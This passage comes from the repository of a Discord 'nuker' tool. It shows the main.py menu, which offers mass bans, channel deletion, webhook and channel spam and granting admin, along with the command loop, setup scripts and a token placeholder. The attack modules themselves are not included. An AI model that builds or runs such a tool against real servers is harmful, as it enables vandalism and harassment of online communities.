f"""{Fore.LIGHTMAGENTA_EX}┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ 103 | ┃ {Colors.gray}https://discord.gg/9rRHUYzCHG{Fore.LIGHTMAGENTA_EX} ┃ {Colors.gray}https://e-z.bio/az{Fore.LIGHTMAGENTA_EX} ┃ {Colors.gray}https://github.com/dropalways{Fore.LIGHTMAGENTA_EX} ┃ 104 | ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫ 105 | ┃ [{Colors.gray}1{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass ban{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}10{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass purge messages{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}19{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 106 | ┃ [{Colors.gray}2{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass create channels{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}11{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass leave servers{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}20{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 107 | ┃ [{Colors.gray}3{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Delete all channels{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}12{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}21{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 108 | ┃ [{Colors.gray}4{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Webhook spammer{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}13{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}22{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 109 | ┃ [{Colors.gray}5{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Webhook deleter{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}14{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}23{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 110 | ┃ [{Colors.gray}6{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Nuker bot{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}15{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}24{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 111 | ┃ [{Colors.gray}7{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Channel spammer{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}16{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}25{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 112 | ┃ [{Colors.gray}8{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Give admin to a user{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}17{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}26{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 113 | ┃ [{Colors.gray}9{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass create roles{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}18{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}27{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 114 | ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫ 115 | ┃ {Colors.gray}{invite_link}{Fore.LIGHTMAGENTA_EX} ┃ 116 | ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛""" # ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┻ 117 | os.system('clear' if os.name != 'nt' else 'cls') 118 | banner() 119 | print(Fore.LIGHTMAGENTA_EX + options) 120 | else: 121 | options2 = f"""{Fore.LIGHTMAGENTA_EX}┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ 122 | ┃ {Colors.gray}https://discord.gg/9rRHUYzCHG{Fore.LIGHTMAGENTA_EX} ┃ {Colors.gray}https://e-z.bio/az{Fore.LIGHTMAGENTA_EX} ┃ {Colors.gray}https://github.com/dropalways{Fore.LIGHTMAGENTA_EX} ┃ 123 | ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫ 124 | ┃ [{Colors.gray}1{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass ban{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}10{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass purge messages{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}19{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 125 | ┃ [{Colors.gray}2{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass create channels{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}11{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass leave servers{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}20{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 126 | ┃ [{Colors.gray}3{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Delete all channels{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}12{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}21{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 127 | ┃ [{Colors.gray}4{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Webhook spammer{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}13{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}22{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 128 | ┃ [{Colors.gray}5{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Webhook deleter{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}14{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}23{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 129 | ┃ [{Colors.gray}6{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Nuker bot{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}15{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}24{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 130 | ┃ [{Colors.gray}7{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Channel spammer{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}16{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}25{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 131 | ┃ [{Colors.gray}8{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Give admin to a user{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}17{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}26{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 132 | ┃ [{Colors.gray}9{Fore.LIGHTMAGENTA_EX}] {Colors.gray}Mass create roles{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}18{Fore.LIGHTMAGENTA_EX}] {Colors.gray}. . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ [{Colors.gray}27{Fore.LIGHTMAGENTA_EX}] . . . . . . . . . . . . .{Fore.LIGHTMAGENTA_EX} ┃ 133 | ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛""" 134 | banner() 135 | print(options2) 136 | 137 | while True: 138 | try: 139 | user_input = Write.Input(f"\n\ntrollinc""@netcry━>>> ", Colors.gray, interval=0.03) 140 | 141 | except KeyboardInterrupt: 142 | sys.exit() 143 | 144 | user_input = user_input.lower() 145 | 146 | if user_input in commands: 147 | if user_input == "exit": 148 | commands[user_input]() 149 | elif user_input == "update": 150 | update() 151 | else: 152 | try: 153 | os.system('clear' if os.name != 'nt' else 'cls') 154 | subprocess.run(["python", str(f"commands/{commands.get(user_input)}.py")]) 155 | time.sleep(0.7) 156 | main() 157 | except KeyboardInterrupt: 158 | sys.exit() 159 | elif user_input == "": 160 | print("Error: Enter something") 161 | time.sleep(0.7) 162 | main() 163 | elif user_input == "reload": 164 | main() 165 | else: 166 | print(Fore.RED + "Error 404: Command not found") 167 | time.sleep(0.7) 168 | main() 169 | 170 | 171 | if __name__ == "__main__": 172 | main() 173 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | pystyle 3 | requests 4 | asyncio 5 | aiohttp 6 | easygui -------------------------------------------------------------------------------- /resources/terminal.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dropalways/netcry-nuker/af1bfaa7c2df861d455c58ac1bd6200281ca6d3d/resources/terminal.gif -------------------------------------------------------------------------------- /setup.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | title Installing requirements... 3 | 4 | REM Check if 'pip' is available in the system 5 | where pip > nul 2>&1 6 | if %errorlevel% neq 0 ( 7 | echo Error: 'pip' command not found. Make sure Python is installed and is added to the system PATH. 8 | pause 9 | exit /b 1 10 | ) 11 | 12 | REM Install python packages from requirements.txt 13 | py -m pip install -r requirements.txt 14 | if %errorlevel% neq 0 ( 15 | echo Error: Failed to install Python packages. Check if the requirements.txt file is valid. 16 | pause 17 | exit /b 1 18 | ) 19 | 20 | REM Run the main.py script 21 | py main.py 22 | if %errorlevel% neq 1 ( 23 | echo Error: Failed to run the main.py script. Check if the file 'main.py' exists. 24 | pause 25 | exit /b 1 26 | ) 27 | 28 | echo Installation and execution completed successfully. 29 | pause 30 | exit /b 0 31 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Inform the user about the script's purpose 4 | echo "Installing requirements..." 5 | 6 | # Check if 'pip' and 'python3' are installed 7 | if ! command -v pip3 &>/dev/null; then 8 | echo "Error: pip is not installed. Please install Python 3 and pip before running this script." 9 | exit 1 10 | fi 11 | 12 | if ! command -v python3 &>/dev/null; then 13 | echo "Error: Python 3 is not installed. Please install Python 3 and pip before running this script." 14 | exit 1 15 | fi 16 | 17 | # Install Python packages from requirements.txt 18 | python3 -m pip install -r requirements.txt 19 | if [ $? -ne 0 ]; then 20 | echo "Error: Failed to install Python packages. Check if the requirements.txt file is valid." 21 | exit 1 22 | fi 23 | 24 | # Inform the user that the installation is complete 25 | echo "Requirements installed successfully." 26 | 27 | # Run the main.py script 28 | python3 main.py 29 | if [ $? -ne 1 ]; then 30 | echo "Error: Failed to run the main.py script. Check if the file 'main.py' exists." 31 | exit 1 32 | fi 33 | 34 | # Prompt the user to press Enter before exiting 35 | read -rp "Press 'Enter' to exit..." 36 | -------------------------------------------------------------------------------- /start.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | REM Run the main.py script 4 | py main.py 5 | 6 | if %errorlevel% neq 1 ( 7 | echo Error: Failed to run the main.py script. Check if the file 'main.py' exists. 8 | pause 9 | exit /b 1 10 | ) 11 | 12 | -------------------------------------------------------------------------------- /start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | python3 main.py 4 | 5 | read -p "Press Enter to continue..." -------------------------------------------------------------------------------- /token.txt: -------------------------------------------------------------------------------- 1 | single token here -------------------------------------------------------------------------------- /version.txt: -------------------------------------------------------------------------------- 1 | 1.4 --------------------------------------------------------------------------------